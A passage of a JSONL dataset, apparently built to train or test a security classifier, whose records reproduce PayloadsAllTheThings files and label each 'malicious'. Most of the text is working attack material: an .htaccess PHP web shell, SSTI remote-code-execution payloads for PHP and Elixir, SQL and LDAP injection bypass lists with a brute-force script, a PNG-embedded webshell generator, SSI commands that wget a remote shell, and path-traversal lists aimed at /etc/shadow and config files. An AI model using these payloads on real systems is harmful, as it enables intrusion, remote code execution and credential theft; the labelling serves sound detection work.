.htaccess](#polyglot-htaccess)\n* [References](#references)\n\n## AddType Directive\n\nUpload an .htaccess with : `AddType application/x-httpd-php .rce`\nThen upload any file with `.rce` extension.\n\n## Self Contained .htaccess\n\n```python\n# Self contained .htaccess web shell - Part of the htshell project\n# Written by Wireghoul - http://www.justanotherhacker.com\n\n# Override default deny rule to make .htaccess file accessible over web\n<Files ~ \"^\\.ht\">\nOrder allow,deny\nAllow from all\n</Files>\n\n# Make .htaccess file be interpreted as php file. This occur after apache has interpreted\n# the apache directives from the .htaccess file\nAddType application/x-httpd-php .htaccess\n```\n\n```php\n###### SHELL ######\n<?php echo \"\\n\";passthru($_GET['c'].\" 2>&1\"); ?>\n```\n\n## Polyglot .htaccess\n\nIf the `exif_imagetype` function is used on the server side to determine the image type, create a `.htaccess/image` polyglot.\n\n[Supported image types](http://php.net/manual/en/function.exif-imagetype.php#refsect1-function.exif-imagetype-constants) include [X BitMap (XBM)](https://en.wikipedia.org/wiki/X_BitMap) and [WBMP](https://en.wikipedia.org/wiki/Wireless_Application_Protocol_Bitmap_Format). In `.htaccess` ignoring lines starting with `\\x00` and `#`, you can use these scripts for generate a valid `.htaccess/image` polyglot.\n\n* Create valid `.htaccess/xbm` image\n\n    ```python\n    width = 50\n    height = 50\n    payload = '# .htaccess file'\n\n    with open('.htaccess', 'w') as htaccess:\n        htaccess.write('#define test_width %d\\n' % (width, ))\n        htaccess.write('#define test_height %d\\n' % (height, ))\n        htaccess.write(payload)\n    ```\n\n* Create valid `.htaccess/wbmp` image\n\n    ```python\n    type_header = b'\\x00'\n    fixed_header = b'\\x00'\n    width = b'50'\n    height = b'50'\n    payload = b'# .htaccess file'\n\n    with open('.htaccess', 'wb') as htaccess:\n        htaccess.write(type_header + fixed_header + width + height)\n        htaccess.write(b'\\n')\n        htaccess.write(payload)\n    ```\n\n## References\n\n* [Attacking Webservers Via .htaccess - Eldar Marcussen - May 17, 2011](https://web.archive.org/web/20200203171034/https://www.justanotherhacker.com:80/2011/05/htaccess-based-attacks.html)\n* [Protection from Unrestricted File Upload Vulnerability - Narendra Shinde - October 22, 2015](https://web.archive.org/web/20200812181326/https://blog.qualys.com/securitylabs/2015/10/22/unrestricted-file-upload-vulnerability)\n* [Insomnihack Teaser 2019 / l33t-hoster - Ian Bouchard (@Corb3nik) - January 20, 2019](https://web.archive.org/web/20190125123231/http://corb3nik.github.io:80/blog/insomnihack-teaser-2019/l33t-hoster)\n", "findings": [{"category": "malicious", "subcategory": "malicious.shell", "severity": "critical", "explanation": "Malicious file upload payload from Upload Insecure Files/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00158", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Server Side Template Injection - PHP\n\n> Server-Side Template Injection (SSTI)  is a vulnerability that occurs when an attacker can inject malicious input into a server-side template, causing the template engine to execute arbitrary commands on the server. In PHP, SSTI can arise when user input is embedded within templates rendered by templating engines like Smarty, Twig, or even within plain PHP templates, without proper sanitization or validation.\n\n## Summary\n\n- [Templating Libraries](#templating-libraries)\n- [Universal Payloads](#universal-payloads)\n- [Blade](#blade)\n- [Smarty](#smarty)\n    - [Smarty - Code Execution with Obfuscation](#smarty---code-execution-with-obfuscation)\n- [Twig](#twig)\n    - [Twig - Basic Injection](#twig---basic-injection)\n    - [Twig - Template Format](#twig---template-format)\n    - [Twig - Arbitrary File Reading](#twig---arbitrary-file-reading)\n    - [Twig - Code Execution](#twig---code-execution)\n    - [Twig - Code Execution with Obfuscation](#twig---code-execution-with-obfuscation)\n- [Latte](#latte)\n    - [Latte - Basic Injection](#latte---basic-injection)\n    - [Latte - Code Execution](#latte---code-execution)\n- [patTemplate](#pattemplate)\n- [PHPlib](#phplib-and-html_template_phplib)\n- [Plates](#plates)\n- [References](#references)\n\n## Templating Libraries\n\n| Template Name   | Payload Format |\n|-----------------|----------------|\n| Blade (Laravel) | `{{ }}`        |\n| Latte           | `{ }`          |\n| Mustache        | `{{ }}`        |\n| Plates          | `<?= ?>`       |\n| Smarty          | `{ }`          |\n| Twig            | `{{ }}`        |\n\n## Universal Payloads\n\nGeneric code injection payloads work for many PHP-based template engines, such as Blade, Latte and Smarty.\n\nTo use these payloads, wrap them in the appropriate tag.\n\n```php\n// Rendered RCE\nshell_exec('id')\nsystem('id')\n\n// Error-Based RCE\nini_set(\"error_reporting\", \"1\") // Enable verbose fatal errors for Error-Based\ncall_user_func(join(\"\", [\"xx\", shell_exec('id')]))\n\n// Boolean-Based RCE\n1 / (pclose(popen(\"id\", \"wb\")) == 0)\n\n// Time-Based RCE\nshell_exec('id && sleep 5')\nsystem('id && sleep 5')\n```\n\n## Blade\n\n> Universal payloads also work for Blade.\n\n[Official website](https://laravel.com/docs/master/blade)\n> Blade is the simple, yet powerful templating engine that is included with Laravel.\n\nThe string `id` is generated with `{{implode(null,array_map(chr(99).chr(104).chr(114),[105,100]))}}`.\n\n```php\n{{passthru(implode(null,array_map(chr(99).chr(104).chr(114),[105,100])))}}\n```\n\nReference and explanation of payload can be found [yeswehack/server-side-template-injection-exploitation](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation).\n\n---\n\n## Smarty\n\n> Universal payloads also work for Smarty before v5.\n\n[Official website](https://www.smarty.net/docs/en/)\n> Smarty is a template engine for PHP.\n\n```php\n{$smarty.version}\n{php}echo `id`;{/php} //deprecated in smarty v3\n{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,\"<?php passthru($_GET['cmd']); ?>\",self::clearConfig())}\n{system('ls')} // compatible v3, deprecated in v5\n{system('cat index.php')} // compatible v3, deprecated in v5\n```\n\n### Smarty - Code Execution with Obfuscation\n\nBy employing the variable modifier `cat`, individual characters are concatenated to form the string \"id\" as follows: `{chr(105)|cat:chr(100)}`.\n\nExecute system comman (command: `id`):\n\n```php\n{{passthru(implode(Null,array_map(chr(99)|cat:chr(104)|cat:chr(114),[105,100])))}}\n```\n\nReference and explanation of payload can be found [yeswehack/server-side-template-injection-exploitation](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation).\n\n---\n\n## Twig\n\n[Official website](https://twig.symfony.com/)\n> Twig is a modern template engine for PHP.\n\n### Twig - Basic Injection\n\n```php\n{{7*7}}\n{{7*'7'}} would result in 49\n{{dump(app)}}\n{{dump(_context)}}\n{{app.request.server.all|join(',')}}\n```\n\n### Twig - Template Format\n\n```php\n$output = $tw", "findings": [{"category": "malicious", "subcategory": "malicious.ssti", "severity": "high", "explanation": "Server-side template injection payload from Server Side Template Injection/PHP.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00159", "source": "payloads_all_the_things", "source_license": "MIT", "text": "==\n=\n'\n' --\n' #\n' \u2013\n'--\n'/*\n'#\n\" --\n\" #\n\"/*\n' and 1='1\n' and a='a\n or 1=1\n or true\n' or ''='\n\" or \"\"=\"\n1\u2032) and '1\u2032='1\u2013\n' AND 1=0 UNION ALL SELECT '', '81dc9bdb52d04dc20036dbd8313ed055\n\" AND 1=0 UNION ALL SELECT \"\", \"81dc9bdb52d04dc20036dbd8313ed055\n and 1=1\n and 1=1\u2013\n' and 'one'='one\n' and 'one'='one\u2013\n' group by password having 1=1--\n' group by userid having 1=1--\n' group by username having 1=1--\n like '%'\n or 0=0 --\n or 0=0 #\n or 0=0 \u2013\n' or         0=0 #\n' or 0=0 --\n' or 0=0 #\n' or 0=0 \u2013\n\" or 0=0 --\n\" or 0=0 #\n\" or 0=0 \u2013\n%' or '0'='0\n or 1=1\n or 1=1--\n or 1=1/*\n or 1=1#\n or 1=1\u2013\n' or 1=1--\n' or '1'='1\n' or '1'='1'--\n' or '1'='1'/*\n' or '1'='1'#\n' or '1\u2032='1\n' or 1=1\n' or 1=1 --\n' or 1=1 \u2013\n' or 1=1--\n' or 1=1;#\n' or 1=1/*\n' or 1=1#\n' or 1=1\u2013\n') or '1'='1\n') or '1'='1--\n') or '1'='1'--\n') or '1'='1'/*\n') or '1'='1'#\n') or ('1'='1\n') or ('1'='1--\n') or ('1'='1'--\n') or ('1'='1'/*\n') or ('1'='1'#\n'or'1=1\n'or'1=1\u2032\n\" or \"1\"=\"1\n\" or \"1\"=\"1\"--\n\" or \"1\"=\"1\"/*\n\" or \"1\"=\"1\"#\n\" or 1=1\n\" or 1=1 --\n\" or 1=1 \u2013\n\" or 1=1--\n\" or 1=1/*\n\" or 1=1#\n\" or 1=1\u2013\n\") or \"1\"=\"1\n\") or \"1\"=\"1\"--\n\") or \"1\"=\"1\"/*\n\") or \"1\"=\"1\"#\n\") or (\"1\"=\"1\n\") or (\"1\"=\"1\"--\n\") or (\"1\"=\"1\"/*\n\") or (\"1\"=\"1\"#\n) or '1\u2032='1\u2013\n) or ('1\u2032='1\u2013\n' or 1=1 LIMIT 1;#\n'or 1=1 or ''='\n\"or 1=1 or \"\"=\"\n' or 'a'='a\n' or a=a--\n' or a=a\u2013\n') or ('a'='a\n\" or \"a\"=\"a\n\") or (\"a\"=\"a\n') or ('a'='a and hi\") or (\"a\"=\"a\n' or 'one'='one\n' or 'one'='one\u2013\n' or uid like '%\n' or uname like '%\n' or userid like '%\n' or user like '%\n' or username like '%\n' or 'x'='x\n') or ('x'='x\n\" or \"x\"=\"x\n' OR 'x'='x'#;\n'=' 'or' and '=' 'or'\n' UNION ALL SELECT 1, @@version;#\n' UNION ALL SELECT system_user(),user();#\n' UNION select table_schema,table_name FROM information_Schema.tables;#\nadmin' and substring(password/text(),1,1)='7\n' and substring(password/text(),1,1)='7\n' or 1=1 limit 1 -- -+\n'=\"or'\n", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "SQL injection payload from SQL Injection/Auth_Bypass2.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00160", "source": "payloads_all_the_things", "source_license": "MIT", "text": "<?\n \nheader('Content-Type: image/png');\n \n$p = array(0xA3, 0x9F, 0x67, 0xF7, 0x0E, 0x93, 0x1B, 0x23, 0xBE, 0x2C, 0x8A, 0xD0, 0x80, 0xF9, 0xE1, 0xAE, 0x22, 0xF6, 0xD9, 0x43, 0x5D, 0xFB, 0xAE, 0xCC, 0x5A, 0x01, 0xDC, 0xAA, 0x52, 0xD0, 0xB6, 0xEE, 0xBB, 0x3A, 0xCF, 0x93, 0xCE, 0xD2, 0x88, 0xFC, 0x69, 0xD0, 0x2B, 0xB9, 0xB0, 0xFB, 0xBB, 0x79, 0xFC, 0xED, 0x22, 0x38, 0x49, 0xD3, 0x51, 0xB7, 0x3F, 0x02, 0xC2, 0x20, 0xD8, 0xD9, 0x3C, 0x67, 0xF4, 0x50, 0x67, 0xF4, 0x50, 0xA3, 0x9F, 0x67, 0xA5, 0xBE, 0x5F, 0x76, 0x74, 0x5A, 0x4C, 0xA1, 0x3F, 0x7A, 0xBF, 0x30, 0x6B, 0x88, 0x2D, 0x60, 0x65, 0x7D, 0x52, 0x9D, 0xAD, 0x88, 0xA1, 0x66, 0x94, 0xA1, 0x27, 0x56, 0xEC, 0xFE, 0xAF, 0x57, 0x57, 0xEB, 0x2E, 0x20, 0xA3, 0xAE, 0x58, 0x80, 0xA7, 0x0C, 0x10, 0x55, 0xCF, 0x09, 0x5C, 0x10, 0x40, 0x8A, 0xB9, 0x39, 0xB3, 0xC8, 0xCD, 0x64, 0x45, 0x3C, 0x49, 0x3E, 0xAD, 0x3F, 0x33, 0x56, 0x1F, 0x19 );\n \n$img = imagecreatetruecolor(110, 110);\n \nfor ($y = 0; $y < sizeof($p); $y += 3) {\n$r = $p[$y];\n$g = $p[$y+1];\n$b = $p[$y+2];\n$color = imagecolorallocate($img, $r, $g, $b);\nimagesetpixel($img, round($y / 3)*2, 0, $color);\nimagesetpixel($img, round($y / 3)*2+1, 0, $color);\nimagesetpixel($img, round($y / 3)*2, 1, $color);\nimagesetpixel($img, round($y / 3)*2+1, 1, $color);\n}\n \nimagepng($img);\n \n?>", "findings": [{"category": "malicious", "subcategory": "malicious.shell", "severity": "critical", "explanation": "Malicious file upload payload from Upload Insecure Files/createCompressedPNG_110x110.php. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00161", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Server Side Template Injection - Elixir\n\n> Server-Side Template Injection (SSTI)  is a vulnerability that arises when an attacker can inject malicious code into a server-side template, causing the server to execute arbitrary commands. In Elixir, SSTI can occur when using templating engines like EEx (Embedded Elixir), especially when user input is incorporated into templates without proper sanitization or validation.\n\n## Summary\n\n- [Templating Libraries](#templating-libraries)\n- [Universal Payloads](#universal-payloads)\n- [EEx](#eex)\n    - [EEx - Basic injections](#eex---basic-injections)\n    - [EEx - Retrieve /etc/passwd](#eex---retrieve-etcpasswd)\n    - [EEx - Remote Command execution](#eex---remote-command-execution)\n- [References](#references)\n\n## Templating Libraries\n\n| Template Name | Payload Format |\n|---------------|----------------|\n| EEx           | `<%= %>`       |\n| LEEx          | `<%= %>`       |\n| HEEx          | `<%= %>`       |\n\n## Universal Payloads\n\nGeneric code injection payloads work for many Elixir-based template engines, such as EEx, LEEx and HEEx.\n\nBy default, only EEx can render templates from string, but it is possible to use LEEx and HEEx as replacement engines for EEx.\n\nTo use these payloads, wrap them in the appropriate tag.\n\n```erlang\nelem(System.shell(\"id\"), 0) # Rendered RCE\n[1, 2][elem(System.shell(\"id\"), 0)] # Error-Based RCE\n1/((elem(System.shell(\"id\"), 1) == 0)&&1||0) # Boolean-Based RCE\nelem(System.shell(\"id && sleep 5\"), 0) # Time-Based RCE\n```\n\n## EEx\n\n[Official website](https://hexdocs.pm/eex/1.19.5/EEx.html)\n> EEx stands for Embedded Elixir.\n\n### EEx - Basic injections\n\n```erlang\n<%= 7 * 7 %>\n```\n\n### EEx - Retrieve /etc/passwd\n\n```erlang\n<%= File.read!(\"/etc/passwd\") %>\n```\n\n### EEx - Remote Command execution\n\n```erlang\n<%= elem(System.shell(\"id\"), 0) %> # Rendered RCE\n<%= [1, 2][elem(System.shell(\"id\"), 0)] %> # Error-Based RCE\n<%= 1/((elem(System.shell(\"id\"), 1) == 0)&&1||0) %> # Boolean-Based RCE\n<%= elem(System.shell(\"id && sleep 5\"), 0) %> # Time-Based RCE\n```\n\n## References\n\n- [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 03, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md)\n", "findings": [{"category": "malicious", "subcategory": "malicious.ssti", "severity": "high", "explanation": "Server-side template injection payload from Server Side Template Injection/Elixir.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00162", "source": "payloads_all_the_things", "source_license": "MIT", "text": "<!--#config errmsg=\"File not found, informs users and password\"-->\n<!--#config timefmt=\"A %B %d %Y %r\"-->\n<!--#echo var=\"DATE_LOCAL\" -->\n<!--#echo var=\"DOCUMENT_NAME\" -->\n<!--#echo var=\"DOCUMENT_URI\" -->\n<!--#echo var=\"auth_type\" -->\n<!--#echo var=\"content_length\" -->\n<!--#echo var=\"content_type\" -->\n<!--#echo var=\"date_gmt\" -->\n<!--#echo var=\"date_local\" -->\n<!--#echo var=\"document_name\" -->\n<!--#echo var=\"document_root\" -->\n<!--#echo var=\"document_uri\" -->\n<!--#echo var=\"forwarded\" -->\n<!--#echo var=\"from\" -->\n<!--#echo var=\"gateway_interface\" -->\n<!--#echo var=\"http_accept\" -->\n<!--#echo var=\"http_accept_charset\" -->\n<!--#echo var=\"http_accept_encoding\" -->\n<!--#echo var=\"http_accept_language\" -->\n<!--#echo var=\"http_client_ip\" -->\n<!--#echo var=\"http_connection\" -->\n<!--#echo var=\"http_cookie\" -->\n<!--#echo var=\"http_form\" -->\n<!--#echo var=\"http_host\" -->\n<!--#echo var=\"http_referer\" -->\n<!--#echo var=\"http_ua_cpu\" -->\n<!--#echo var=\"http_ua_os\" -->\n<!--#echo var=\"http_user_agent\" -->\n<!--#echo var=\"last_modified\" -->\n<!--#echo var=\"netsite_root\" -->\n<!--#echo var=\"page_count\" -->\n<!--#echo var=\"path\" -->\n<!--#echo var=\"path_info\" -->\n<!--#echo var=\"path_info_translated\" -->\n<!--#echo var=\"path_translated\" -->\n<!--#echo var=\"query_string\" -->\n<!--#echo var=\"query_string_unescaped\" -->\n<!--#echo var=\"remote_addr\" -->\n<!--#echo var=\"remote_host\" -->\n<!--#echo var=\"remote_ident\" -->\n<!--#echo var=\"remote_port\" -->\n<!--#echo var=\"remote_user\" -->\n<!--#echo var=\"request_method\" -->\n<!--#echo var=\"request_uri\" -->\n<!--#echo var=\"script_filename\" -->\n<!--#echo var=\"script_name\" -->\n<!--#echo var=\"script_uri\" -->\n<!--#echo var=\"script_url\" -->\n<!--#echo var=\"server_addr\" -->\n<!--#echo var=\"server_admin\" -->\n<!--#echo var=\"server_name -->\n<!--#echo var=\"server_port\" -->\n<!--#echo var=\"server_protocol\" -->\n<!--#echo var=\"server_software\" -->\n<!--#echo var=\"site_htmlroot\" -->\n<!--#echo var=\"total_hits\" -->\n<!--#echo var=\"tz\" -->\n<!--#echo var=\"unique_id\" -->\n<!--#echo var=\"user_name\" -->\n<!--#exec cmd=\"/bin/ls /\" -->\n<!--#exec cmd=\"cat /etc/passwd\" -->\n<!--#exec cmd=\"cd C:\\WINDOWS\\System32\">\n<!--#exec cmd=\"curl http://sn1persecurity.com/.testing/rfi_vuln.php\" -->\n<!--#exec cmd=\"dir\" -->\n<!--#exec cmd=\"ipconfig\" -->\n<!--#exec cmd=\"ls\" -->\n<!--#exec cmd=\"perl -e 'print \"X\"*5000'\" -->\n<!--#exec cmd=\"sleep 10\" -->\n<!--#exec cmd=\"sleep 5\" -->\n<!--#exec cmd=\"uname\" -->\n<!--#exec cmd=\"wget http://website.com/dir/shell.txt\" -->\n<!--#exec cmd=\"whoami\" -->\n<!--#exec cmd=\"whoami\"-->\n<!--#flastmod virtual=\"echo.html\" -->\n<!--#fsize file=\"ssi.shtml\" -->\n<!--#include file=?UUUUUUUU...UU?-->\n<!--#include virtual=\"/\" -->\n<!--#include virtual=\"/index.html\" -->\n<!--#include virtual=\"http://sn1persecurity.com/.testing/rfi_vuln.php\" -->\n<!--#include virtual=\"https://crowdshield.com/.testing/rfi_vuln.php\" -->\n<!--#printenv -->\n</nowiki>\n<esi:debug/>\n<esi:include src=\"http://google.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/\"/>\n<esi:include src=\"http://host/poc.xml\" dca=\"xslt\" stylesheet=\"http://google.com/poc.xsl\" />\n<esi:include src=http://google.com/>\n<pre><!--#echo var=\"DATE_LOCAL\" --> </pre>\n<pre><!--#exec cmd=\"dir\" --></pre>\n<pre><!--#exec cmd=\"ls\" --></pre>\n<pre><!--#exec cmd=\"whoami\"--></pre>\nx=<esi:assign name=\"var1\" value=\"'cript'\"/><s<esi:vars name=\"$(var1)\"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name=\"$(var1)\"/>>", "findings": [{"category": "malicious", "subcategory": "malicious.ssti", "severity": "high", "explanation": "Server-side include injection payload from Server Side Include Injection/ssi_esi.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00163", "source": "payloads_all_the_things", "source_license": "MIT", "text": "/.../.../.../.../.../\n\\\u2026..\\\\\\\u2026..\\\\\\\u2026..\\\\\\\n%00../../../../../../etc/passwd\n%00/etc/passwd%00\n%00../../../../../../etc/shadow\n%00/etc/shadow%00\n%0a/bin/cat%20/etc/passwd\n%0a/bin/cat%20/etc/shadow\n/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00\n%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%  25%5c..%25%5c..%00\n%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00\n%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%    25%5c..%25%5c..%255cboot.ini\n/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini\n/../../../../../../../../%2A\n/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini\n/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\n/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow\n..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd\n..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow\n..%2F..%2F..%2F%2F..%2F..%2F%2Fvar%2Fnamed\n..%2F..%2F..%2F%2F..%2F..%2Fetc/passwd\n..%2F..%2F..%2F%2F..%2F..%2Fetc/shadow\n=3D \u201c/..\u201d . \u201c%2f..\n..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/boot.ini\nadmin/access_log\n/admin/install.php\n../../../administrator/inbox\n/apache2/logs/access_log\n/apache2/logs/access.log\n/apache2/logs/error_log\n/apache2/logs/error.log\n/apache/logs/access_log\n/apache/logs/access.log\n../../../../../apache/logs/access.log\n../../../../apache/logs/access.log\n../../../apache/logs/access.log\n../../apache/logs/access.log\n../apache/logs/access.log\n/apache/logs/error_log\n/apache/logs/error.log\n../../../../../apache/logs/error.log\n../../../../apache/logs/error.log\n../../../apache/logs/error.log\n../../apache/logs/error.log\n../apache/logs/error.log\n/apache\\php\\php.ini\n\\\\&apos;/bin/cat%20/etc/passwd\\\\&apos;\n\\\\&apos;/bin/cat%20/etc/shadow\\\\&apos;\n/.bash_history\n/.bash_profile\n/.bashrc\n/../../../../../../../../bin/id|\n/bin/php.ini\n/boot/grub/grub.conf\n/./././././././././././boot.ini\n/../../../../../../../../../../../boot.ini\n/..\\../..\\../..\\../..\\../..\\../..\\../boot.ini\n/.\\\\./.\\\\./.\\\\./.\\\\./.\\\\./.\\\\./boot.ini\n..//..//..//..//..//boot.ini\n../../../../../../../../../../../../boot.ini\n../../boot.ini\n..\\../..\\../..\\../..\\../boot.ini\n..\\../..\\../boot.ini\n..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\boot.ini\n\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\boot.ini\n/../../../../../../../../../../../boot.ini%00\n../../../../../../../../../../../../boot.ini%00\n..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\boot.ini%00\n/../../../../../../../../../../../boot.ini%00.html\n/../../../../../../../../../../../boot.ini%00.jpg\n/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd\n..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini\n/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd\n/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow\nc:\\apache\\logs\\access.log\nc:\\apache\\logs\\error.log\nc:\\AppServ\\MySQL\nC:/boot.ini\nC:\\boot.ini\n/C:/inetpub/ftproot/\nC:/inetpub/wwwroot/global.asa\nC:\\inetpub\\wwwroot\\global.asa\nc:\\inetpub\\wwwroot\\index.asp\n/config.asp\n../config.asp\nconfig.asp\n../config.inc.php\nconfig.inc.php\n../config.js\nconfig.js\n_config.php\n../_config.php\n../config.php\nconfig.php\n../_config.php%00\n../../../../../../../../conf/server.xml\n/core/config.php\n/C:\\Program Files\\\nc:\\Program Files\\Apache Group\\Apache\\logs\\access.log\nc:\\Program Files\\Apache Group\\Apache\\logs\\error.log\n/.cshrc\nc:\\System32\\Inetsrv\\metabase.xml\nc:WINDOWS/system32/\nd:\\AppServ\\MySQL\ndatabase.asp\ndatabase.js\ndatabase.php\ndata.php\ndbase.php a\ndb.php\n../../../../../../../dev\n/D:\\Program Files\\\nd:\\System32\\Inetsrv\\metabase.xml\n/etc/apache2/apache2.conf\n/etc/apache2/conf/httpd.conf\n/etc/apache2/httpd.conf\n/etc/apache2/sites-available/default\n/etc/apache2/vhosts.d/de", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "File inclusion payload from File Inclusion/JHADDIX_LFI.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00164", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# LDAP Injection\n\n> LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy.\n\n## Summary\n\n* [Methodology](#methodology)\n    * [Authentication Bypass](#authentication-bypass)\n    * [Blind Exploitation](#blind-exploitation)\n* [Defaults Attributes](#defaults-attributes)\n* [Exploiting userPassword Attribute](#exploiting-userpassword-attribute)\n* [Scripts](#scripts)\n    * [Discover Valid LDAP Fields](#discover-valid-ldap-fields)\n    * [Special Blind LDAP Injection](#special-blind-ldap-injection)\n* [Labs](#labs)\n* [References](#references)\n\n## Methodology\n\nLDAP Injection is a vulnerability that occurs when user-supplied input is used to construct LDAP queries without proper sanitization or escaping\n\n### Authentication Bypass\n\nAttempt to manipulate the filter logic by injecting always-true conditions.\n\n**Example 1**: This LDAP query exploits logical operators in the query structure to potentially bypass authentication\n\n```sql\nuser  = *)(uid=*))(|(uid=*\npass  = password\nquery = (&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))\n```\n\n**Example 2**: This LDAP query exploits logical operators in the query structure to potentially bypass authentication\n\n```sql\nuser  = admin)(!(&(1=0\npass  = q))\nquery = (&(uid=admin)(!(&(1=0)(userPassword=q))))\n```\n\n### Blind Exploitation\n\nThis scenario demonstrates LDAP blind exploitation using a technique similar to binary search or character-based brute-forcing to discover sensitive information like passwords. It relies on the fact that LDAP filters respond differently to queries based on whether the conditions match or not, without directly revealing the actual password.\n\n```sql\n(&(sn=administrator)(password=*))    : OK\n(&(sn=administrator)(password=A*))   : KO\n(&(sn=administrator)(password=B*))   : KO\n...\n(&(sn=administrator)(password=M*))   : OK\n(&(sn=administrator)(password=MA*))  : KO\n(&(sn=administrator)(password=MB*))  : KO\n...\n(&(sn=administrator)(password=MY*))  : OK\n(&(sn=administrator)(password=MYA*)) : KO\n(&(sn=administrator)(password=MYB*)) : KO\n(&(sn=administrator)(password=MYC*)) : KO\n...\n(&(sn=administrator)(password=MYK*)) : OK\n(&(sn=administrator)(password=MYKE)) : OK\n```\n\n**LDAP Filter Breakdown**:\n\n* `&`: Logical AND operator, meaning all conditions inside must be true.\n* `(sn=administrator)`: Matches entries where the sn (surname) attribute is administrator.\n* `(password=X*)`: Matches entries where the password starts with X (case-sensitive). The asterisk (*) is a wildcard, representing any remaining characters.\n\n## Defaults Attributes\n\nCan be used in an injection like `*)(ATTRIBUTE_HERE=*`\n\n```bash\nuserPassword\nsurname\nname\ncn\nsn\nobjectClass\nmail\ngivenName\ncommonName\n```\n\n## Exploiting userPassword Attribute\n\n`userPassword` attribute is not a string like the `cn` attribute for example but it\u2019s an OCTET STRING\nIn LDAP, every object, type, operator etc. is referenced by an OID : octetStringOrderingMatch (OID 2.5.13.18).\n\n> octetStringOrderingMatch (OID 2.5.13.18): An ordering matching rule that will perform a bit-by-bit comparison (in big endian ordering) of two octet string values until a difference is found. The first case in which a zero bit is found in one value but a one bit is found in another will cause the value with the zero bit to be considered less than the value with the one bit.\n\n```bash\nuserPassword:2.5.13.18:=\\xx (\\xx is a byte)\nuserPassword:2.5.13.18:=\\xx\\xx\nuserPassword:2.5.13.18:=\\xx\\xx\\xx\n```\n\n## Scripts\n\n### Discover Valid LDAP Fields\n\n```python\n#!/usr/bin/python3\nimport requests\nimport string\n\nfields = []\nurl = 'https://URL.com/'\nf = open('dic', 'r')\nworld = f.read().split('\\n')\nf.close()\n\nfor i in world:\n    r = requests.post(url, data = {'login':'*)('+str(i)+'=*))\\x00', 'password':'bla'}) #Like (&(login=*)(ITER_VAL=*))\\x00)(password=bla))\n    if 'TRUE CONDITION'", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "high", "explanation": "LDAP injection payload from LDAP Injection/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
